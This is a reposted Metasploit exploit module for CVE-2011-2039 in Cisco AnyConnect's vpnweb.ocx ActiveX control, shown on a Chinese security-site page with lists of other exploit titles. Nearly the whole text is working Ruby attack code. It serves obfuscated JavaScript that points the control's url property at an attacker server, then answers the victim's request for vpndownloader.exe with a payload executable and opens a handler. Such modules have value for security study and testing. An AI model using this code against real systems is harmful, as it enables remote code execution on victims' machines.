首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute
来源:http://www.metasploit.com 作者:bannedit 发布时间:2011-06-08  

##
# $Id: cisco_anyconnect_exec.rb 12872 2011-06-06 20:15:51Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute',
   'Description'    => %q{
     This module exploits a vulnerability in the Cisco AnyConnect VPN client
    vpnweb.ocx ActiveX control. This control is typically used to install the
    VPN client. An attacker can set the 'url' property which is where the control
    tries to locate the files needed to install the client.

     The control tries to download two files from the site specified within the
    'url' property. One of these files it will be stored in a temporary directory and
    executed.
     },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'bannedit' ],
   'Version'        => '$Revision: 12872 $',
   'References'     =>
    [
     [ 'CVE', '2011-2039' ],
     [ 'OSVDB', '72714'],
     [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909' ],
     [ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml'],
    ],
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic',
       {
        'Arch' => ARCH_X86
       }
     ],
    ],
   'DisclosureDate' => 'Jun 01 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
   ], self.class)
 end

 def on_request_uri(cli, request)

  if request.uri.match(/vpndownloader\.exe/)
   exe = generate_payload_exe({:code => payload.encoded})

   print_status("Client requested: #{request.uri}. Sending vpndownloader.exe")
   send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })
   select(nil, nil, nil, 5) # let the file download
   handler(cli)
   return
  end
  
  if request.uri.match(/updates\.txt/)
   print_status("Client requested: #{request.uri}. Sending updates.txt")
   updates = rand_text_alpha((rand(500) + 1)) + "\n" + rand_text_alpha((rand(500) + 1))
   send_response(cli, updates, { 'Content-Type' => 'text/plain' })
   return
  end

  url = get_uri(cli)

  dir = rand_text_alpha((rand(40) + 1))
  js = ::Rex::Exploitation::JSObfu.new %Q|
  var x = document.createElement("object");
  x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");
  x.url = "#{url}/#{dir}/";
|
  js.obfuscate
  html = "<html>\n\t<script>#{js}\t</script>\n</html>"
  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
  send_response_html(cli, html)
 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·VLC Media Player XSPF Local Fi
·Linux/x86-32 - ConnectBack wit
·ActFax Server FTP Remote BOF (
·FreeBSD/x86 SmallBind TCP on p
·GoldenFTP PASS Stack Buffer Ov
·phpcms v2.4 SQL injection expl
·Kleophatra v0.1.5 'TinyBrowser
·7-Technologies IGSS 9 IGSSdata
·CoolPlayer Portable 2.19.2 (.m
·FreeBSD/x86 Execve ('/bin/sh')
·(Firefox & Safari & IE / RealP
·Pacer Edition CMS 2.1 Arbitrar
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved